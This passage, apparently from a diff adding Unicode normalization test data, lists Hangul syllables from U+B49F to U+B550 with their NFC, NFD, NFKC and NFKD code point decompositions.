+{ source: [0xB49F], NFC: [0xB49F], NFD: [0x1103, 0x1170, 0x11BE], NFKC: [0xB49F], NFKD: [0x1103, 0x1170, 0x11BE] },
+{ source: [0xB4A0], NFC: [0xB4A0], NFD: [0x1103, 0x1170, 0x11BF], NFKC: [0xB4A0], NFKD: [0x1103, 0x1170, 0x11BF] },
+{ source: [0xB4A1], NFC: [0xB4A1], NFD: [0x1103, 0x1170, 0x11C0], NFKC: [0xB4A1], NFKD: [0x1103, 0x1170, 0x11C0] },
+{ source: [0xB4A2], NFC: [0xB4A2], NFD: [0x1103, 0x1170, 0x11C1], NFKC: [0xB4A2], NFKD: [0x1103, 0x1170, 0x11C1] },
+{ source: [0xB4A3], NFC: [0xB4A3], NFD: [0x1103, 0x1170, 0x11C2], NFKC: [0xB4A3], NFKD: [0x1103, 0x1170, 0x11C2] },
+{ source: [0xB4A4], NFC: [0xB4A4], NFD: [0x1103, 0x1171], NFKC: [0xB4A4], NFKD: [0x1103, 0x1171] },
+{ source: [0xB4A5], NFC: [0xB4A5], NFD: [0x1103, 0x1171, 0x11A8], NFKC: [0xB4A5], NFKD: [0x1103, 0x1171, 0x11A8] },
+{ source: [0xB4A6], NFC: [0xB4A6], NFD: [0x1103, 0x1171, 0x11A9], NFKC: [0xB4A6], NFKD: [0x1103, 0x1171, 0x11A9] },
+{ source: [0xB4A7], NFC: [0xB4A7], NFD: [0x1103, 0x1171, 0x11AA], NFKC: [0xB4A7], NFKD: [0x1103, 0x1171, 0x11AA] },
+{ source: [0xB4A8], NFC: [0xB4A8], NFD: [0x1103, 0x1171, 0x11AB], NFKC: [0xB4A8], NFKD: [0x1103, 0x1171, 0x11AB] },
+{ source: [0xB4A9], NFC: [0xB4A9], NFD: [0x1103, 0x1171, 0x11AC], NFKC: [0xB4A9], NFKD: [0x1103, 0x1171, 0x11AC] },
+{ source: [0xB4AA], NFC: [0xB4AA], NFD: [0x1103, 0x1171, 0x11AD], NFKC: [0xB4AA], NFKD: [0x1103, 0x1171, 0x11AD] },
+{ source: [0xB4AB], NFC: [0xB4AB], NFD: [0x1103, 0x1171, 0x11AE], NFKC: [0xB4AB], NFKD: [0x1103, 0x1171, 0x11AE] },
+{ source: [0xB4AC], NFC: [0xB4AC], NFD: [0x1103, 0x1171, 0x11AF], NFKC: [0xB4AC], NFKD: [0x1103, 0x1171, 0x11AF] },
+{ source: [0xB4AD], NFC: [0xB4AD], NFD: [0x1103, 0x1171, 0x11B0], NFKC: [0xB4AD], NFKD: [0x1103, 0x1171, 0x11B0] },
+{ source: [0xB4AE], NFC: [0xB4AE], NFD: [0x1103, 0x1171, 0x11B1], NFKC: [0xB4AE], NFKD: [0x1103, 0x1171, 0x11B1] },
+{ source: [0xB4AF], NFC: [0xB4AF], NFD: [0x1103, 0x1171, 0x11B2], NFKC: [0xB4AF], NFKD: [0x1103, 0x1171, 0x11B2] },
+{ source: [0xB4B0], NFC: [0xB4B0], NFD: [0x1103, 0x1171, 0x11B3], NFKC: [0xB4B0], NFKD: [0x1103, 0x1171, 0x11B3] },
+{ source: [0xB4B1], NFC: [0xB4B1], NFD: [0x1103, 0x1171, 0x11B4], NFKC: [0xB4B1], NFKD: [0x1103, 0x1171, 0x11B4] },
+{ source: [0xB4B2], NFC: [0xB4B2], NFD: [0x1103, 0x1171, 0x11B5], NFKC: [0xB4B2], NFKD: [0x1103, 0x1171, 0x11B5] },
+{ source: [0xB4B3], NFC: [0xB4B3], NFD: [0x1103, 0x1171, 0x11B6], NFKC: [0xB4B3], NFKD: [0x1103, 0x1171, 0x11B6] },
+{ source: [0xB4B4], NFC: [0xB4B4], NFD: [0x1103, 0x1171, 0x11B7], NFKC: [0xB4B4], NFKD: [0x1103, 0x1171, 0x11B7] },
+{ source: [0xB4B5], NFC: [0xB4B5], NFD: [0x1103, 0x1171, 0x11B8], NFKC: [0xB4B5], NFKD: [0x1103, 0x1171, 0x11B8] },
+{ source: [0xB4B6], NFC: [0xB4B6], NFD: [0x1103, 0x1171, 0x11B9], NFKC: [0xB4B6], NFKD: [0x1103, 0x1171, 0x11B9] },
+{ source: [0xB4B7], NFC: [0xB4B7], NFD: [0x1103, 0x1171, 0x11BA], NFKC: [0xB4B7], NFKD: [0x1103, 0x1171, 0x11BA] },
+{ source: [0xB4B8], NFC: [0xB4B8], NFD: [0x1103, 0x1171, 0x11BB], NFKC: [0xB4B8], NFKD: [0x1103, 0x1171, 0x11BB] },
+{ source: [0xB4B9], NFC: [0xB4B9], NFD: [0x1103, 0x1171, 0x11BC], NFKC: [0xB4B9], NFKD: [0x1103, 0x1171, 0x11BC] },
+{ source: [0xB4BA], NFC: [0xB4BA], NFD: [0x1103, 0x1171, 0x11BD], NFKC: [0xB4BA], NFKD: [0x1103, 0x1171, 0x11BD] },
+{ source: [0xB4BB], NFC: [0xB4BB], NFD: [0x1103, 0x1171, 0x11BE], NFKC: [0xB4BB], NFKD: [0x1103, 0x1171, 0x11BE] },
+{ source: [0xB4BC], NFC: [0xB4BC], NFD: [0x1103, 0x1171, 0x11BF], NFKC: [0xB4BC], NFKD: [0x1103, 0x1171, 0x11BF] },
+{ source: [0xB4BD], NFC: [0xB4BD], NFD: [0x1103, 0x1171, 0x11C0], NFKC: [0xB4BD], NFKD: [0x1103, 0x1171, 0x11C0] },
+{ source: [0xB4BE], NFC: [0xB4BE], NFD: [0x1103, 0x1171, 0x11C1], NFKC: [0xB4BE], NFKD: [0x1103, 0x1171, 0x11C1] },
+{ source: [0xB4BF], NFC: [0xB4BF], NFD: [0x1103, 0x1171, 0x11C2], NFKC: [0xB4BF], NFKD: [0x1103, 0x1171, 0x11C2] },
+{ source: [0xB4C0], NFC: [0xB4C0], NFD: [0x1103, 0x1172], NFKC: [0xB4C0], NFKD: [0x1103, 0x1172] },
+{ source: [0xB4C1], NFC: [0xB4C1], NFD: [0x1103, 0x1172, 0x11A8], NFKC: [0xB4C1], NFKD: [0x1103, 0x1172, 0x11A8] },
+{ source: [0xB4C2], NFC: [0xB4C2], NFD: [0x1103, 0x1172, 0x11A9], NFKC: [0xB4C2], NFKD: [0x1103, 0x1172, 0x11A9] },
+{ source: [0xB4C3], NFC: [0xB4C3], NFD: [0x1103, 0x1172, 0x11AA], NFKC: [0xB4C3], NFKD: [0x1103, 0x1172, 0x11AA] },
+{ source: [0xB4C4], NFC: [0xB4C4], NFD: [0x1103, 0x1172, 0x11AB], NFKC: [0xB4C4], NFKD: [0x1103, 0x1172, 0x11AB] },
+{ source: [0xB4C5], NFC: [0xB4C5], NFD: [0x1103, 0x1172, 0x11AC], NFKC: [0xB4C5], NFKD: [0x1103, 0x1172, 0x11AC] },
+{ source: [0xB4C6], NFC: [0xB4C6], NFD: [0x1103, 0x1172, 0x11AD], NFKC: [0xB4C6], NFKD: [0x1103, 0x1172, 0x11AD] },
+{ source: [0xB4C7], NFC: [0xB4C7], NFD: [0x1103, 0x1172, 0x11AE], NFKC: [0xB4C7], NFKD: [0x1103, 0x1172, 0x11AE] },
+{ source: [0xB4C8], NFC: [0xB4C8], NFD: [0x1103, 0x1172, 0x11AF], NFKC: [0xB4C8], NFKD: [0x1103, 0x1172, 0x11AF] },
+{ source: [0xB4C9], NFC: [0xB4C9], NFD: [0x1103, 0x1172, 0x11B0], NFKC: [0xB4C9], NFKD: [0x1103, 0x1172, 0x11B0] },
+{ source: [0xB4CA], NFC: [0xB4CA], NFD: [0x1103, 0x1172, 0x11B1], NFKC: [0xB4CA], NFKD: [0x1103, 0x1172, 0x11B1] },
+{ source: [0xB4CB], NFC: [0xB4CB], NFD: [0x1103, 0x1172, 0x11B2], NFKC: [0xB4CB], NFKD: [0x1103, 0x1172, 0x11B2] },
+{ source: [0xB4CC], NFC: [0xB4CC], NFD: [0x1103, 0x1172, 0x11B3], NFKC: [0xB4CC], NFKD: [0x1103, 0x1172, 0x11B3] },
+{ source: [0xB4CD], NFC: [0xB4CD], NFD: [0x1103, 0x1172, 0x11B4], NFKC: [0xB4CD], NFKD: [0x1103, 0x1172, 0x11B4] },
+{ source: [0xB4CE], NFC: [0xB4CE], NFD: [0x1103, 0x1172, 0x11B5], NFKC: [0xB4CE], NFKD: [0x1103, 0x1172, 0x11B5] },
+{ source: [0xB4CF], NFC: [0xB4CF], NFD: [0x1103, 0x1172, 0x11B6], NFKC: [0xB4CF], NFKD: [0x1103, 0x1172, 0x11B6] },
+{ source: [0xB4D0], NFC: [0xB4D0], NFD: [0x1103, 0x1172, 0x11B7], NFKC: [0xB4D0], NFKD: [0x1103, 0x1172, 0x11B7] },
+{ source: [0xB4D1], NFC: [0xB4D1], NFD: [0x1103, 0x1172, 0x11B8], NFKC: [0xB4D1], NFKD: [0x1103, 0x1172, 0x11B8] },
+{ source: [0xB4D2], NFC: [0xB4D2], NFD: [0x1103, 0x1172, 0x11B9], NFKC: [0xB4D2], NFKD: [0x1103, 0x1172, 0x11B9] },
+{ source: [0xB4D3], NFC: [0xB4D3], NFD: [0x1103, 0x1172, 0x11BA], NFKC: [0xB4D3], NFKD: [0x1103, 0x1172, 0x11BA] },
+{ source: [0xB4D4], NFC: [0xB4D4], NFD: [0x1103, 0x1172, 0x11BB], NFKC: [0xB4D4], NFKD: [0x1103, 0x1172, 0x11BB] },
+{ source: [0xB4D5], NFC: [0xB4D5], NFD: [0x1103, 0x1172, 0x11BC], NFKC: [0xB4D5], NFKD: [0x1103, 0x1172, 0x11BC] },
+{ source: [0xB4D6], NFC: [0xB4D6], NFD: [0x1103, 0x1172, 0x11BD], NFKC: [0xB4D6], NFKD: [0x1103, 0x1172, 0x11BD] },
+{ source: [0xB4D7], NFC: [0xB4D7], NFD: [0x1103, 0x1172, 0x11BE], NFKC: [0xB4D7], NFKD: [0x1103, 0x1172, 0x11BE] },
+{ source: [0xB4D8], NFC: [0xB4D8], NFD: [0x1103, 0x1172, 0x11BF], NFKC: [0xB4D8], NFKD: [0x1103, 0x1172, 0x11BF] },
+{ source: [0xB4D9], NFC: [0xB4D9], NFD: [0x1103, 0x1172, 0x11C0], NFKC: [0xB4D9], NFKD: [0x1103, 0x1172, 0x11C0] },
+{ source: [0xB4DA], NFC: [0xB4DA], NFD: [0x1103, 0x1172, 0x11C1], NFKC: [0xB4DA], NFKD: [0x1103, 0x1172, 0x11C1] },
+{ source: [0xB4DB], NFC: [0xB4DB], NFD: [0x1103, 0x1172, 0x11C2], NFKC: [0xB4DB], NFKD: [0x1103, 0x1172, 0x11C2] },
+{ source: [0xB4DC], NFC: [0xB4DC], NFD: [0x1103, 0x1173], NFKC: [0xB4DC], NFKD: [0x1103, 0x1173] },
+{ source: [0xB4DD], NFC: [0xB4DD], NFD: [0x1103, 0x1173, 0x11A8], NFKC: [0xB4DD], NFKD: [0x1103, 0x1173, 0x11A8] },
+{ source: [0xB4DE], NFC: [0xB4DE], NFD: [0x1103, 0x1173, 0x11A9], NFKC: [0xB4DE], NFKD: [0x1103, 0x1173, 0x11A9] },
+{ source: [0xB4DF], NFC: [0xB4DF], NFD: [0x1103, 0x1173, 0x11AA], NFKC: [0xB4DF], NFKD: [0x1103, 0x1173, 0x11AA] },
+{ source: [0xB4E0], NFC: [0xB4E0], NFD: [0x1103, 0x1173, 0x11AB], NFKC: [0xB4E0], NFKD: [0x1103, 0x1173, 0x11AB] },
+{ source: [0xB4E1], NFC: [0xB4E1], NFD: [0x1103, 0x1173, 0x11AC], NFKC: [0xB4E1], NFKD: [0x1103, 0x1173, 0x11AC] },
+{ source: [0xB4E2], NFC: [0xB4E2], NFD: [0x1103, 0x1173, 0x11AD], NFKC: [0xB4E2], NFKD: [0x1103, 0x1173, 0x11AD] },
+{ source: [0xB4E3], NFC: [0xB4E3], NFD: [0x1103, 0x1173, 0x11AE], NFKC: [0xB4E3], NFKD: [0x1103, 0x1173, 0x11AE] },
+{ source: [0xB4E4], NFC: [0xB4E4], NFD: [0x1103, 0x1173, 0x11AF], NFKC: [0xB4E4], NFKD: [0x1103, 0x1173, 0x11AF] },
+{ source: [0xB4E5], NFC: [0xB4E5], NFD: [0x1103, 0x1173, 0x11B0], NFKC: [0xB4E5], NFKD: [0x1103, 0x1173, 0x11B0] },
+{ source: [0xB4E6], NFC: [0xB4E6], NFD: [0x1103, 0x1173, 0x11B1], NFKC: [0xB4E6], NFKD: [0x1103, 0x1173, 0x11B1] },
+{ source: [0xB4E7], NFC: [0xB4E7], NFD: [0x1103, 0x1173, 0x11B2], NFKC: [0xB4E7], NFKD: [0x1103, 0x1173, 0x11B2] },
+{ source: [0xB4E8], NFC: [0xB4E8], NFD: [0x1103, 0x1173, 0x11B3], NFKC: [0xB4E8], NFKD: [0x1103, 0x1173, 0x11B3] },
+{ source: [0xB4E9], NFC: [0xB4E9], NFD: [0x1103, 0x1173, 0x11B4], NFKC: [0xB4E9], NFKD: [0x1103, 0x1173, 0x11B4] },
+{ source: [0xB4EA], NFC: [0xB4EA], NFD: [0x1103, 0x1173, 0x11B5], NFKC: [0xB4EA], NFKD: [0x1103, 0x1173, 0x11B5] },
+{ source: [0xB4EB], NFC: [0xB4EB], NFD: [0x1103, 0x1173, 0x11B6], NFKC: [0xB4EB], NFKD: [0x1103, 0x1173, 0x11B6] },
+{ source: [0xB4EC], NFC: [0xB4EC], NFD: [0x1103, 0x1173, 0x11B7], NFKC: [0xB4EC], NFKD: [0x1103, 0x1173, 0x11B7] },
+{ source: [0xB4ED], NFC: [0xB4ED], NFD: [0x1103, 0x1173, 0x11B8], NFKC: [0xB4ED], NFKD: [0x1103, 0x1173, 0x11B8] },
+{ source: [0xB4EE], NFC: [0xB4EE], NFD: [0x1103, 0x1173, 0x11B9], NFKC: [0xB4EE], NFKD: [0x1103, 0x1173, 0x11B9] },
+{ source: [0xB4EF], NFC: [0xB4EF], NFD: [0x1103, 0x1173, 0x11BA], NFKC: [0xB4EF], NFKD: [0x1103, 0x1173, 0x11BA] },
+{ source: [0xB4F0], NFC: [0xB4F0], NFD: [0x1103, 0x1173, 0x11BB], NFKC: [0xB4F0], NFKD: [0x1103, 0x1173, 0x11BB] },
+{ source: [0xB4F1], NFC: [0xB4F1], NFD: [0x1103, 0x1173, 0x11BC], NFKC: [0xB4F1], NFKD: [0x1103, 0x1173, 0x11BC] },
+{ source: [0xB4F2], NFC: [0xB4F2], NFD: [0x1103, 0x1173, 0x11BD], NFKC: [0xB4F2], NFKD: [0x1103, 0x1173, 0x11BD] },
+{ source: [0xB4F3], NFC: [0xB4F3], NFD: [0x1103, 0x1173, 0x11BE], NFKC: [0xB4F3], NFKD: [0x1103, 0x1173, 0x11BE] },
+{ source: [0xB4F4], NFC: [0xB4F4], NFD: [0x1103, 0x1173, 0x11BF], NFKC: [0xB4F4], NFKD: [0x1103, 0x1173, 0x11BF] },
+{ source: [0xB4F5], NFC: [0xB4F5], NFD: [0x1103, 0x1173, 0x11C0], NFKC: [0xB4F5], NFKD: [0x1103, 0x1173, 0x11C0] },
+{ source: [0xB4F6], NFC: [0xB4F6], NFD: [0x1103, 0x1173, 0x11C1], NFKC: [0xB4F6], NFKD: [0x1103, 0x1173, 0x11C1] },
+{ source: [0xB4F7], NFC: [0xB4F7], NFD: [0x1103, 0x1173, 0x11C2], NFKC: [0xB4F7], NFKD: [0x1103, 0x1173, 0x11C2] },
+{ source: [0xB4F8], NFC: [0xB4F8], NFD: [0x1103, 0x1174], NFKC: [0xB4F8], NFKD: [0x1103, 0x1174] },
+{ source: [0xB4F9], NFC: [0xB4F9], NFD: [0x1103, 0x1174, 0x11A8], NFKC: [0xB4F9], NFKD: [0x1103, 0x1174, 0x11A8] },
+{ source: [0xB4FA], NFC: [0xB4FA], NFD: [0x1103, 0x1174, 0x11A9], NFKC: [0xB4FA], NFKD: [0x1103, 0x1174, 0x11A9] },
+{ source: [0xB4FB], NFC: [0xB4FB], NFD: [0x1103, 0x1174, 0x11AA], NFKC: [0xB4FB], NFKD: [0x1103, 0x1174, 0x11AA] },
+{ source: [0xB4FC], NFC: [0xB4FC], NFD: [0x1103, 0x1174, 0x11AB], NFKC: [0xB4FC], NFKD: [0x1103, 0x1174, 0x11AB] },
+{ source: [0xB4FD], NFC: [0xB4FD], NFD: [0x1103, 0x1174, 0x11AC], NFKC: [0xB4FD], NFKD: [0x1103, 0x1174, 0x11AC] },
+{ source: [0xB4FE], NFC: [0xB4FE], NFD: [0x1103, 0x1174, 0x11AD], NFKC: [0xB4FE], NFKD: [0x1103, 0x1174, 0x11AD] },
+{ source: [0xB4FF], NFC: [0xB4FF], NFD: [0x1103, 0x1174, 0x11AE], NFKC: [0xB4FF], NFKD: [0x1103, 0x1174, 0x11AE] },
+{ source: [0xB500], NFC: [0xB500], NFD: [0x1103, 0x1174, 0x11AF], NFKC: [0xB500], NFKD: [0x1103, 0x1174, 0x11AF] },
+{ source: [0xB501], NFC: [0xB501], NFD: [0x1103, 0x1174, 0x11B0], NFKC: [0xB501], NFKD: [0x1103, 0x1174, 0x11B0] },
+{ source: [0xB502], NFC: [0xB502], NFD: [0x1103, 0x1174, 0x11B1], NFKC: [0xB502], NFKD: [0x1103, 0x1174, 0x11B1] },
+{ source: [0xB503], NFC: [0xB503], NFD: [0x1103, 0x1174, 0x11B2], NFKC: [0xB503], NFKD: [0x1103, 0x1174, 0x11B2] },
+{ source: [0xB504], NFC: [0xB504], NFD: [0x1103, 0x1174, 0x11B3], NFKC: [0xB504], NFKD: [0x1103, 0x1174, 0x11B3] },
+{ source: [0xB505], NFC: [0xB505], NFD: [0x1103, 0x1174, 0x11B4], NFKC: [0xB505], NFKD: [0x1103, 0x1174, 0x11B4] },
+{ source: [0xB506], NFC: [0xB506], NFD: [0x1103, 0x1174, 0x11B5], NFKC: [0xB506], NFKD: [0x1103, 0x1174, 0x11B5] },
+{ source: [0xB507], NFC: [0xB507], NFD: [0x1103, 0x1174, 0x11B6], NFKC: [0xB507], NFKD: [0x1103, 0x1174, 0x11B6] },
+{ source: [0xB508], NFC: [0xB508], NFD: [0x1103, 0x1174, 0x11B7], NFKC: [0xB508], NFKD: [0x1103, 0x1174, 0x11B7] },
+{ source: [0xB509], NFC: [0xB509], NFD: [0x1103, 0x1174, 0x11B8], NFKC: [0xB509], NFKD: [0x1103, 0x1174, 0x11B8] },
+{ source: [0xB50A], NFC: [0xB50A], NFD: [0x1103, 0x1174, 0x11B9], NFKC: [0xB50A], NFKD: [0x1103, 0x1174, 0x11B9] },
+{ source: [0xB50B], NFC: [0xB50B], NFD: [0x1103, 0x1174, 0x11BA], NFKC: [0xB50B], NFKD: [0x1103, 0x1174, 0x11BA] },
+{ source: [0xB50C], NFC: [0xB50C], NFD: [0x1103, 0x1174, 0x11BB], NFKC: [0xB50C], NFKD: [0x1103, 0x1174, 0x11BB] },
+{ source: [0xB50D], NFC: [0xB50D], NFD: [0x1103, 0x1174, 0x11BC], NFKC: [0xB50D], NFKD: [0x1103, 0x1174, 0x11BC] },
+{ source: [0xB50E], NFC: [0xB50E], NFD: [0x1103, 0x1174, 0x11BD], NFKC: [0xB50E], NFKD: [0x1103, 0x1174, 0x11BD] },
+{ source: [0xB50F], NFC: [0xB50F], NFD: [0x1103, 0x1174, 0x11BE], NFKC: [0xB50F], NFKD: [0x1103, 0x1174, 0x11BE] },
+{ source: [0xB510], NFC: [0xB510], NFD: [0x1103, 0x1174, 0x11BF], NFKC: [0xB510], NFKD: [0x1103, 0x1174, 0x11BF] },
+{ source: [0xB511], NFC: [0xB511], NFD: [0x1103, 0x1174, 0x11C0], NFKC: [0xB511], NFKD: [0x1103, 0x1174, 0x11C0] },
+{ source: [0xB512], NFC: [0xB512], NFD: [0x1103, 0x1174, 0x11C1], NFKC: [0xB512], NFKD: [0x1103, 0x1174, 0x11C1] },
+{ source: [0xB513], NFC: [0xB513], NFD: [0x1103, 0x1174, 0x11C2], NFKC: [0xB513], NFKD: [0x1103, 0x1174, 0x11C2] },
+{ source: [0xB514], NFC: [0xB514], NFD: [0x1103, 0x1175], NFKC: [0xB514], NFKD: [0x1103, 0x1175] },
+{ source: [0xB515], NFC: [0xB515], NFD: [0x1103, 0x1175, 0x11A8], NFKC: [0xB515], NFKD: [0x1103, 0x1175, 0x11A8] },
+{ source: [0xB516], NFC: [0xB516], NFD: [0x1103, 0x1175, 0x11A9], NFKC: [0xB516], NFKD: [0x1103, 0x1175, 0x11A9] },
+{ source: [0xB517], NFC: [0xB517], NFD: [0x1103, 0x1175, 0x11AA], NFKC: [0xB517], NFKD: [0x1103, 0x1175, 0x11AA] },
+{ source: [0xB518], NFC: [0xB518], NFD: [0x1103, 0x1175, 0x11AB], NFKC: [0xB518], NFKD: [0x1103, 0x1175, 0x11AB] },
+{ source: [0xB519], NFC: [0xB519], NFD: [0x1103, 0x1175, 0x11AC], NFKC: [0xB519], NFKD: [0x1103, 0x1175, 0x11AC] },
+{ source: [0xB51A], NFC: [0xB51A], NFD: [0x1103, 0x1175, 0x11AD], NFKC: [0xB51A], NFKD: [0x1103, 0x1175, 0x11AD] },
+{ source: [0xB51B], NFC: [0xB51B], NFD: [0x1103, 0x1175, 0x11AE], NFKC: [0xB51B], NFKD: [0x1103, 0x1175, 0x11AE] },
+{ source: [0xB51C], NFC: [0xB51C], NFD: [0x1103, 0x1175, 0x11AF], NFKC: [0xB51C], NFKD: [0x1103, 0x1175, 0x11AF] },
+{ source: [0xB51D], NFC: [0xB51D], NFD: [0x1103, 0x1175, 0x11B0], NFKC: [0xB51D], NFKD: [0x1103, 0x1175, 0x11B0] },
+{ source: [0xB51E], NFC: [0xB51E], NFD: [0x1103, 0x1175, 0x11B1], NFKC: [0xB51E], NFKD: [0x1103, 0x1175, 0x11B1] },
+{ source: [0xB51F], NFC: [0xB51F], NFD: [0x1103, 0x1175, 0x11B2], NFKC: [0xB51F], NFKD: [0x1103, 0x1175, 0x11B2] },
+{ source: [0xB520], NFC: [0xB520], NFD: [0x1103, 0x1175, 0x11B3], NFKC: [0xB520], NFKD: [0x1103, 0x1175, 0x11B3] },
+{ source: [0xB521], NFC: [0xB521], NFD: [0x1103, 0x1175, 0x11B4], NFKC: [0xB521], NFKD: [0x1103, 0x1175, 0x11B4] },
+{ source: [0xB522], NFC: [0xB522], NFD: [0x1103, 0x1175, 0x11B5], NFKC: [0xB522], NFKD: [0x1103, 0x1175, 0x11B5] },
+{ source: [0xB523], NFC: [0xB523], NFD: [0x1103, 0x1175, 0x11B6], NFKC: [0xB523], NFKD: [0x1103, 0x1175, 0x11B6] },
+{ source: [0xB524], NFC: [0xB524], NFD: [0x1103, 0x1175, 0x11B7], NFKC: [0xB524], NFKD: [0x1103, 0x1175, 0x11B7] },
+{ source: [0xB525], NFC: [0xB525], NFD: [0x1103, 0x1175, 0x11B8], NFKC: [0xB525], NFKD: [0x1103, 0x1175, 0x11B8] },
+{ source: [0xB526], NFC: [0xB526], NFD: [0x1103, 0x1175, 0x11B9], NFKC: [0xB526], NFKD: [0x1103, 0x1175, 0x11B9] },
+{ source: [0xB527], NFC: [0xB527], NFD: [0x1103, 0x1175, 0x11BA], NFKC: [0xB527], NFKD: [0x1103, 0x1175, 0x11BA] },
+{ source: [0xB528], NFC: [0xB528], NFD: [0x1103, 0x1175, 0x11BB], NFKC: [0xB528], NFKD: [0x1103, 0x1175, 0x11BB] },
+{ source: [0xB529], NFC: [0xB529], NFD: [0x1103, 0x1175, 0x11BC], NFKC: [0xB529], NFKD: [0x1103, 0x1175, 0x11BC] },
+{ source: [0xB52A], NFC: [0xB52A], NFD: [0x1103, 0x1175, 0x11BD], NFKC: [0xB52A], NFKD: [0x1103, 0x1175, 0x11BD] },
+{ source: [0xB52B], NFC: [0xB52B], NFD: [0x1103, 0x1175, 0x11BE], NFKC: [0xB52B], NFKD: [0x1103, 0x1175, 0x11BE] },
+{ source: [0xB52C], NFC: [0xB52C], NFD: [0x1103, 0x1175, 0x11BF], NFKC: [0xB52C], NFKD: [0x1103, 0x1175, 0x11BF] },
+{ source: [0xB52D], NFC: [0xB52D], NFD: [0x1103, 0x1175, 0x11C0], NFKC: [0xB52D], NFKD: [0x1103, 0x1175, 0x11C0] },
+{ source: [0xB52E], NFC: [0xB52E], NFD: [0x1103, 0x1175, 0x11C1], NFKC: [0xB52E], NFKD: [0x1103, 0x1175, 0x11C1] },
+{ source: [0xB52F], NFC: [0xB52F], NFD: [0x1103, 0x1175, 0x11C2], NFKC: [0xB52F], NFKD: [0x1103, 0x1175, 0x11C2] },
+{ source: [0xB530], NFC: [0xB530], NFD: [0x1104, 0x1161], NFKC: [0xB530], NFKD: [0x1104, 0x1161] },
+{ source: [0xB531], NFC: [0xB531], NFD: [0x1104, 0x1161, 0x11A8], NFKC: [0xB531], NFKD: [0x1104, 0x1161, 0x11A8] },
+{ source: [0xB532], NFC: [0xB532], NFD: [0x1104, 0x1161, 0x11A9], NFKC: [0xB532], NFKD: [0x1104, 0x1161, 0x11A9] },
+{ source: [0xB533], NFC: [0xB533], NFD: [0x1104, 0x1161, 0x11AA], NFKC: [0xB533], NFKD: [0x1104, 0x1161, 0x11AA] },
+{ source: [0xB534], NFC: [0xB534], NFD: [0x1104, 0x1161, 0x11AB], NFKC: [0xB534], NFKD: [0x1104, 0x1161, 0x11AB] },
+{ source: [0xB535], NFC: [0xB535], NFD: [0x1104, 0x1161, 0x11AC], NFKC: [0xB535], NFKD: [0x1104, 0x1161, 0x11AC] },
+{ source: [0xB536], NFC: [0xB536], NFD: [0x1104, 0x1161, 0x11AD], NFKC: [0xB536], NFKD: [0x1104, 0x1161, 0x11AD] },
+{ source: [0xB537], NFC: [0xB537], NFD: [0x1104, 0x1161, 0x11AE], NFKC: [0xB537], NFKD: [0x1104, 0x1161, 0x11AE] },
+{ source: [0xB538], NFC: [0xB538], NFD: [0x1104, 0x1161, 0x11AF], NFKC: [0xB538], NFKD: [0x1104, 0x1161, 0x11AF] },
+{ source: [0xB539], NFC: [0xB539], NFD: [0x1104, 0x1161, 0x11B0], NFKC: [0xB539], NFKD: [0x1104, 0x1161, 0x11B0] },
+{ source: [0xB53A], NFC: [0xB53A], NFD: [0x1104, 0x1161, 0x11B1], NFKC: [0xB53A], NFKD: [0x1104, 0x1161, 0x11B1] },
+{ source: [0xB53B], NFC: [0xB53B], NFD: [0x1104, 0x1161, 0x11B2], NFKC: [0xB53B], NFKD: [0x1104, 0x1161, 0x11B2] },
+{ source: [0xB53C], NFC: [0xB53C], NFD: [0x1104, 0x1161, 0x11B3], NFKC: [0xB53C], NFKD: [0x1104, 0x1161, 0x11B3] },
+{ source: [0xB53D], NFC: [0xB53D], NFD: [0x1104, 0x1161, 0x11B4], NFKC: [0xB53D], NFKD: [0x1104, 0x1161, 0x11B4] },
+{ source: [0xB53E], NFC: [0xB53E], NFD: [0x1104, 0x1161, 0x11B5], NFKC: [0xB53E], NFKD: [0x1104, 0x1161, 0x11B5] },
+{ source: [0xB53F], NFC: [0xB53F], NFD: [0x1104, 0x1161, 0x11B6], NFKC: [0xB53F], NFKD: [0x1104, 0x1161, 0x11B6] },
+{ source: [0xB540], NFC: [0xB540], NFD: [0x1104, 0x1161, 0x11B7], NFKC: [0xB540], NFKD: [0x1104, 0x1161, 0x11B7] },
+{ source: [0xB541], NFC: [0xB541], NFD: [0x1104, 0x1161, 0x11B8], NFKC: [0xB541], NFKD: [0x1104, 0x1161, 0x11B8] },
+{ source: [0xB542], NFC: [0xB542], NFD: [0x1104, 0x1161, 0x11B9], NFKC: [0xB542], NFKD: [0x1104, 0x1161, 0x11B9] },
+{ source: [0xB543], NFC: [0xB543], NFD: [0x1104, 0x1161, 0x11BA], NFKC: [0xB543], NFKD: [0x1104, 0x1161, 0x11BA] },
+{ source: [0xB544], NFC: [0xB544], NFD: [0x1104, 0x1161, 0x11BB], NFKC: [0xB544], NFKD: [0x1104, 0x1161, 0x11BB] },
+{ source: [0xB545], NFC: [0xB545], NFD: [0x1104, 0x1161, 0x11BC], NFKC: [0xB545], NFKD: [0x1104, 0x1161, 0x11BC] },
+{ source: [0xB546], NFC: [0xB546], NFD: [0x1104, 0x1161, 0x11BD], NFKC: [0xB546], NFKD: [0x1104, 0x1161, 0x11BD] },
+{ source: [0xB547], NFC: [0xB547], NFD: [0x1104, 0x1161, 0x11BE], NFKC: [0xB547], NFKD: [0x1104, 0x1161, 0x11BE] },
+{ source: [0xB548], NFC: [0xB548], NFD: [0x1104, 0x1161, 0x11BF], NFKC: [0xB548], NFKD: [0x1104, 0x1161, 0x11BF] },
+{ source: [0xB549], NFC: [0xB549], NFD: [0x1104, 0x1161, 0x11C0], NFKC: [0xB549], NFKD: [0x1104, 0x1161, 0x11C0] },
+{ source: [0xB54A], NFC: [0xB54A], NFD: [0x1104, 0x1161, 0x11C1], NFKC: [0xB54A], NFKD: [0x1104, 0x1161, 0x11C1] },
+{ source: [0xB54B], NFC: [0xB54B], NFD: [0x1104, 0x1161, 0x11C2], NFKC: [0xB54B], NFKD: [0x1104, 0x1161, 0x11C2] },
+{ source: [0xB54C], NFC: [0xB54C], NFD: [0x1104, 0x1162], NFKC: [0xB54C], NFKD: [0x1104, 0x1162] },
+{ source: [0xB54D], NFC: [0xB54D], NFD: [0x1104, 0x1162, 0x11A8], NFKC: [0xB54D], NFKD: [0x1104, 0x1162, 0x11A8] },
+{ source: [0xB54E], NFC: [0xB54E], NFD: [0x1104, 0x1162, 0x11A9], NFKC: [0xB54E], NFKD: [0x1104, 0x1162, 0x11A9] },
+{ source: [0xB54F], NFC: [0xB54F], NFD: [0x1104, 0x1162, 0x11AA], NFKC: [0xB54F], NFKD: [0x1104, 0x1162, 0x11AA] },
+{ source: [0xB550], NFC: [0xB550], NFD: [0x1104, 0x1162, 0x11AB], NFKC: [0xB550], NFKD: [0x1104, 0x1162, 0x11AB] },
